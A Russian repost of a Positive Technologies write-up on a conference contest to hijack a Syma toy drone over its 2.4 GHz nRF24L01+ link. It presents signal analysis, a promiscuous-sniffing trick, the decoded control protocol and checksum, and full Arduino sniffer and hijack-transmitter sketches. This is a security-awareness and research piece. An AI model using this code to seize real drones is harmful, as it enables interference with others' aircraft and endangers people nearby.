- PVSM.RU - https://www.pvsm.ru -

PHD VI: как у нас угнали дрона

PHD VI: как у нас угнали дрона - 1 [1]

В этом году на PHDays [2] был представлен новый конкурс, где любой желающий мог перехватить управление квадрокоптером Syma X5C. Производители часто полагают, что если они используют не IP-технологии, а какой-нибудь другой беспроводной стандарт, то можно не думать о защищенности. Как будто хакеры махнут рукой, решив, что разбираться с чем-то, кроме IP, — это слишком долго, сложно и дорого.

Но на самом деле, как мы уже много раз упоминали, SDR (software-defined radio) — отличный инструмент для доступа в мир IoT, где уровень вхождения определяется уровнем добросовестности производителя IoT-решений. Однако даже не имея SDR можно творить чудеса, пусть и в ограниченном пространстве частот и протоколов.

Цель — перехватить управление дроном.

Входные данные:

  • диапазон управления дроном: 2,4 ГГц ISM,
  • управление осуществляется модулем nRF24L01+ [3] (на самом деле — его клоном BK2423 [4]).

Средства (выдавались желающим): Arduino Nano, nRF24L01+.

Результат — угонщик получил Syma X8C в подарок.

Так как среди желающих угнать наш дрон оказались уже подготовленные люди, имеющие в арсенале HackRF, BladeRF и другие серьезные игрушки, мы опишем два метода — SDR и непосредственно nRF24L01+.

Путь самурая — SDR

Первым делом необходимо найти каналы, на которых работает данный пульт. Но перед этим стоит пробежаться по даташиту [5], чтобы понять, что вообще искать. Первое, что нам необходимо, это организация частот.

PHD VI: как у нас угнали дрона - 2

Теперь мы знаем, что всего имеется 126 каналов с шагом в 1 МГц. Еще полезно было бы узнать ширину канала и битрейт, на будущее.

PHD VI: как у нас угнали дрона - 3

Вообще можно все сделать и без этих знаний, ведь далеко не всегда известно, из чего состоит передатчик. Итак, запускаем сканер спектра. Мы используем UmTRX и максимально возможный для него bandwidth — 13 МГц.

PHD VI: как у нас угнали дрона - 4

PHD VI: как у нас угнали дрона - 5

PHD VI: как у нас угнали дрона - 6

Мы не стали приводить скриншоты всего спектра, но как найти подобные данные в радиоэфире — должно быть понятно. Можем увидеть, что с определенной периодичностью данные появляются на 25, 41, 57 и 73 каналах.

Несмотря на то, что даташит однозначно указывает модуляцию, в жизни у нас не всегда есть даташит к перехватываемому девайсу. Поэтому собираем простейшую схему в GNU Radio и записываем любой из найденных каналов.

PHD VI: как у нас угнали дрона - 7

Похоже, что bandwidth <= 800 КГц; согласно даташиту, это значит, что битрейт — 250 Кбит/с.

Теперь мы хотим посмотреть на записанные данные; запускаем baudline [6], в котором открываем записанный файл с правильными параметрами, — и видим нечто подобное:

PHD VI: как у нас угнали дрона - 8

Выбираем один из подсвеченных пиков и открываем окно waveform.

PHD VI: как у нас угнали дрона - 9

Вверху видим записанный сигнал; похоже, мы все сделали правильно, по переходам фазы становится очевидно, что это FSK/GFSK-модуляция.

Далее нам необходимо поставить демодулятор и немного отфильтровать лишнее.

PHD VI: как у нас угнали дрона - 10

Открываем результат, картина выглядит иначе, теперь находим темную полосу и открываем waveform.

PHD VI: как у нас угнали дрона - 11

Фактически дело сделано, высокий уровень — единица, низкий — ноль. А по таймлайну можно определить период импульса и посчитать битрейт.

В самом начале передатчик настраивается на частоту передачи и передает только несущую, затем идет преамбула, состоящая из последовательности 0 и 1, в разных чипах она может отличаться как длиной, так и содержанием, в nRF24L01+ она составляет 1 байт 0xAA или 0x55, в зависимости от старшего бита адреса, в нашем случае преамбула 0xAA. Затем идут байты адреса, в nRF24L01+ адрес может составлять от 3 до 5 байт (забегая вперед: это не совсем так).

PHD VI: как у нас угнали дрона - 12

Теперь мы знаем адрес (0xa20009890f). Для дальнейшего анализа необходимо сделать небольшую автоматизацию, например так:

PHD VI: как у нас угнали дрона - 13

На выходе получится файл, состоящий из последовательности 0 и 1:

$ hexdump -C test3.raw

Один из наших пакетов можно найти по смещению 0x5e25:

PHD VI: как у нас угнали дрона - 14

Что с этим делать дальше — каждый решит для себя сам, но необходимо подобрать длину пакета и тип используемой CRC. Мы написали утилиту, которая анализирует файл и пытается найти преамбулу, после которой пытается подсчитать CRC для разных вариантов длины payload и адреса двумя разными способами (см. даташит). У нас получилось так:

PHD VI: как у нас угнали дрона - 15

Однако позже пришло понимание, что Python годится только для анализа в офлайне, а «переваривать» данные в реальном времени с битрейтом даже 250 Кбит/с весьма проблематично, не говоря уже о более высоких скоростях. Так родилась вторая версия на C, которая работает в режиме реального времени.

PHD VI: как у нас угнали дрона - 16

Итак, имея payload, остается разобраться уже в самом протоколе Syma.

Путь нищеброда — Arduino и nRF24L01+

PHD VI: как у нас угнали дрона - 17

Этот способ, в отличие от описанного выше, не требует практически никаких знаний в области радио, и стоит крайне дешево (Arduino — 2 $, nRF24L01+ — 1 $ и примерно столько же на провода mini-USB и DuPont), однако требует некоторой смекалки и навыков гугления. Именно его участникам конкурса мы и предлагали повторить.

Основная проблема в том, что nrf24l01+ не имеет promiscuous режима. Однако сам модуль имеет несколько странных особенностей, первая — в даташите есть интересная вещь:

PHD VI: как у нас угнали дрона - 18

Если выставить этот регистр в «00», то адрес будет 2 байта. Далее есть еще одна интересная особенность: обычно преамбула передается и используется для того, чтобы приемник мог подстроиться под передатчик, именно для этого чаще всего в качестве преамбулы передается последовательность нулей и единиц. Вторая особенность модуля nRF24L01+: он не ищет преамбулу и никак ее не использует, он ищет адрес, который записан в качестве принимаемого. Если посмотреть на передаваемый сигнал на скриншотах выше, можно также заметить, что перед началом передачи преамбулы передатчик вещает несущую; опытным путем было выявлено, что чаще всего nRF24L01+ воспринимает ее как 0x00 (иногда как 0xFF, реже как случайный байт). Таким образом, используя эти недокументированные особенности мы можем перевести nRF24L01+ в promiscuous mode — установив длину адреса в 2 байта, а сам адрес как 0x00AA или 0x0055. В одном из вариантов мы будем получать данные, сдвинутые на 1 бит. Кроме того, можно принимать данные без проверки CRC.

Теперь у нас есть все необходимые теоретические знания. Используем библиотеку RF24 (github.com/TMRh20/RF24 [7]), хотя в ней есть недостаток: в файле RF24.cpp в функции

void RF24::setAddressWidth(uint8_t a_width){
	if(a_width -= 2){
		write_register(SETUP_AW,a_width%4);
		addr_width = (a_width%4) + 2;
	}
}

следует удалить проверку валидности:

void RF24::setAddressWidth(uint8_t a_width){
	a_width -= 2;
	write_register(SETUP_AW,a_width%4);
	addr_width = (a_width%4) + 2;
}

Теперь пишем небольшой скетч для Arduino (данный пример для Mega, но будет работать на любой другой, нужно просто поменять CE_PIN, CSN_PIN на свои):

#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#include <printf.h>

#define CE_PIN  53 	/// Change it for your board
#define CSN_PIN 48 	/// Change it for your board

RF24 radio(CE_PIN, CSN_PIN); 

const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0x00AA;

byte buff[32];
byte chan=0;
byte len = 32;
byte addr_len = 2;

void set_nrf(){
  radio.setDataRate(RF24_250KBPS);
  radio.setCRCLength(RF24_CRC_DISABLED);
  radio.setAddressWidth(addr_len);
  radio.setPayloadSize(len);
  radio.setChannel(chan);
  radio.openReadingPipe(1, pipe);
  radio.startListening();  
}

void setup() {
  Serial.begin(2000000);
  printf_begin();
  radio.begin();
  set_nrf();
}

long t1 = 0;
long t2 = 0;
long tr = 0;

void loop() {
  byte in;
   if (Serial.available() >0) {
     in = Serial.read();
     if (in == 'w') {
      chan+=1;
      radio.setChannel(chan);
      Serial.print("nSet chan: "); 
      Serial.print(chan);
     }
     if (in == 's') {
      chan-=1;
      radio.setChannel(chan);
      Serial.print("nSet chan: "); 
      Serial.print(chan);
     }
     if (in == 'q') {
     Serial.print("n"); 
     radio.printDetails();
     }  
   }
  while (radio.available()) {                      
    t2 = t1;
    t1 = micros();
    tr+=1;
    radio.read(&buff, sizeof(buff) );
    Serial.print("n"); 
    Serial.print(tr);
    Serial.print("tms: "); 
    Serial.print(millis());
    Serial.print("tCh: ");
    Serial.print(chan);
    Serial.print("tGet data: ");
    for (byte i=0; i<len;i++ ){
      Serial.print(tohex[(byte)buff[i]>>4]);
      Serial.print(tohex[(byte)buff[i]&0x0f]);      
    }    
  }
}

Теперь можно на серийном порте забирать готовые данные с установленного канала, смена канала осуществляется посылкой «w» и «s» в порт. Дальнейшую обработку можно производить любым удобным способом: глазами, руками, скриптами. Следует обратить внимание, что скорость порта нестандартная — 2 Мбит/c, это необходимо для того, чтобы Arduino меньше времени занималась I/O, а больше занималась делом (не забываем, что там всего лишь 16 МГц).

PHD VI: как у нас угнали дрона - 19

После нахождения канала и поимки адреса следует установить этот адрес в качестве приемного, чтобы отфильтровать данные из космоса:

uint64_t pipe = 0xa20009890fLL;
byte addr_len = 5;

PHD VI: как у нас угнали дрона - 20

Затем следует пробежаться по всем каналам и найти все, на которых проскакивает данный адрес. Немного наблюдаем за происходящим и замечаем, что 10, 11 и 12 байт меняются в зависимости от данных, а за ними идет последовательность случайных байтов — шум. Пробуем включить CRC16 (два последних байта) и сменить длину пакета до 10 байт:

byte len = 10;
radio.setCRCLength(RF24_CRC_16);

PHD VI: как у нас угнали дрона - 21

Бинго! Мы смогли подобрать все необходимые настройки nRF24L01+, которые используются данным пультом, дальше дело за разбором протокола самой Syma.

Протокол Syma

Разобрать его совсем не сложно, записав немного активности с пульта.

  • Первый байт — значение throttle (стик газа)
  • Второй байт — значение elevator (тангаж — наклон вперед-назад), где старший бит — направление (вперед или назад), а остальные 7 — значение.
  • Третий байт — значение rudder (рысканье — поворот вокруг оси влево-вправо), где старший бит — направление (влево или вправо), а остальные 7 — значение.
  • Четвертый байт — значение aileron (крен — наклон влево-вправо), где старший бит — направление, а остальные 7 — значение.
  • Десятый байт это CRC, которая рассчитывается как XOR от первых 9 байт + 0x55, понять это — пожалуй, самое сложное.

Остальные байты можно оставить такими же, как и перехваченные, там передаются значения регулировок нулевого положения (тримы), и несколько флагов, относящихся к работе камеры.

Осталось сформировать какой-либо валидный пакет, например заставим дрона крутиться вокруг своей оси против часовой стрелки: 92007f000040002400de

Ниже приведен скетч нашего перехватчика с PHDays, который выглядел вот так:

PHD VI: как у нас угнали дрона - 22

#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#include <stdio.h>

#define CE_PIN  48
#define CSN_PIN 53

//// syma
uint8_t chan[4] = {25,41,57,73}; 
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0xa20009890fLL; 

RF24 radio(CE_PIN, CSN_PIN); 
int8_t packet[10];
int joy_raw[7];
byte ch=0;

//// controls
uint8_t throttle = 0;
int8_t rudder = 0;
int8_t elevator = 0;
int8_t aileron = 0;

//// syma checksum
uint8_t checksum(){
    uint8_t sum = packet[0];
    for (int i=1; i < 9; i++) sum ^= packet[i];
    return (sum + 0x55);
}

//// initial
void setup() {
  //set nrf
  radio.begin();
  radio.setDataRate(RF24_250KBPS);
  radio.setCRCLength(RF24_CRC_16);
  radio.setPALevel(RF24_PA_MAX);
  radio.setAutoAck(false);
  radio.setRetries(0,0);
  radio.setAddressWidth(5);
  radio.openWritingPipe(pipe);
  radio.setPayloadSize(10);
  radio.setChannel(25);
  //set joystick
  pinMode(A0, INPUT);
  pinMode(A1, INPUT);
  pinMode(A2, INPUT);
  pinMode(A3, INPUT);
  pinMode(A4, INPUT);
  pinMode(A5, INPUT);
  pinMode(A6, INPUT);
  digitalWrite(A3, HIGH);
  digitalWrite(A4, HIGH);
  digitalWrite(A5, HIGH);
  digitalWrite(A6, HIGH);
  //init default data
  packet[0] = 0x00;
  packet[1] = 0x00;
  packet[2] = 0x00;
  packet[3] = 0x00;
  packet[4] = 0x00;
  packet[5] = 0x40;
  packet[6] = 0x00;
  packet[7] = 0x21;
  packet[8] = 0x00;
  packet[9] = checksum();
}

void read_logitech() {
  joy_raw[0] = analogRead(A0);
  joy_raw[1] = analogRead(A1);
  joy_raw[2] = analogRead(A2);
  joy_raw[3] = !digitalRead(A3);
  joy_raw[4] = !digitalRead(A4);
  joy_raw[5] = !digitalRead(A6);
  joy_raw[6] = !digitalRead(A5);
  //little calibration
  joy_raw[0] = map(joy_raw[0],150, 840, 255, 0)+10;
  joy_raw[0] = constrain(joy_raw[0], 0, 254);
  joy_raw[1] = map(joy_raw[1],140, 830, 0, 255);
  joy_raw[1] = constrain(joy_raw[1], 0, 254);
  joy_raw[2] = map(joy_raw[2],130, 720, 255, 0);
  joy_raw[2] = constrain(joy_raw[2], 0, 254);
}

//// main loop
void loop() {
  read_logitech();
  throttle = joy_raw[2];
  rudder = 64*joy_raw[4] - 64*joy_raw[5];
  elevator = joy_raw[1]-127;
  aileron = joy_raw[0]-127;
  radio.openWritingPipe(pipe);
  ch +=1;
  if (ch>3) ch = 0; 
  radio.setChannel(chan[ch]);      
  packet[0] = throttle;
  if (elevator < 0) packet[1] = abs(elevator) | 0x80; else packet[1] = elevator;
  if (rudder < 0) packet[2] = abs(rudder) | 0x80; else packet[2] = rudder;
  if (aileron < 0) packet[3] = abs(aileron) | 0x80; else packet[3] = aileron;
  packet[4] = 0x00;
  packet[5] = 0x40;
  packet[6] = 0x00;
  packet[7] = 0x21;
  packet[8] = 0x00;
  packet[9] = checksum();
  radio.write( packet, sizeof(packet) );
}

Если нет желания разбираться с Arduino, можно собрать на этой же библиотеке программу-перехватчик на Raspberry Pi.

PHD VI: как у нас угнали дрона - 23

Готовые файлы для Raspberry — github.com/chopengauer/nrf_analyze [8].

Участники и победители

За два дня конференции в конкурсе приняли участие полтора десятка человек. Заинтересовавшихся было гораздо больше, но многие, узнав, что ломать нужно не Wi-Fi, разочарованно уходили. Многие боятся браться за что-то новое и непонятное, на этом и держится защищенность современного интернета вещей.

Среди участников были те, кто уже строил свои беспроводные сети на nRF24L01+, и те, кто их видел в первый раз.

Уже в середине первого дня один из участников произвел первые попытки воздействия на дрон методом записи сигнала пульта с последующим его воспроизведением, используя SDR (replay-атака). Однако дрон от этого лишь слегка дергался как от помехи. Эта атака бесполезна по причине того, что дрон использует 4 канала с разницей между верхним и нижним в 48 МГц, и воздействия по одному каналу недостаточно для угона.

Уже к вечеру первого дня один из участников обладал всеми необходимыми знаниями об особенностях модуля (двухбайтный адрес 0x00aa) и пытался отсканировать адрес нашего пульта, но проблема была в том, что ему попался даташит от устаревшей версии чипа nRF24L01 (без +), который не поддерживает используемый нашим дроном битрейт 250 Кбит/с. А еще он отказался использовать готовые библиотеки для работы с модулем и работал напрямую с его регистрами. Только хардкор! Ломаем ноги только об свои велосипеды ;)

Победителем конкурса стал Глеб Чербов, которому удалось полностью перехватить управление дроном к 16 часам второго дня. Остальным участникам не удалось перехватить адрес устройства.

Автор: Positive Technologies

Источник [9]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/programmirovanie/125928

Ссылки в тексте:

[1] Image: https://habrahabr.ru/company/pt/blog/302490/

[2] PHDays: http://www.phdays.ru/

[3] nRF24L01+: https://www.nordicsemi.com/eng/Products/2.4GHz-RF/nRF24L01P

[4] BK2423: http://www.inhaos.com/uploadfile/otherpic/BK2423 Datasheet v2.0.pdf

[5] даташиту: http://file:///C:/Users/ponovikov/Downloads/nRF24L01P_Product_Specification_1_0.pdf

[6] baudline: http://www.baudline.com/

[7] github.com/TMRh20/RF24: https://github.com/TMRh20/RF24

[8] github.com/chopengauer/nrf_analyze: https://github.com/chopengauer/nrf_analyze

[9] Источник: https://habrahabr.ru/post/302490/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best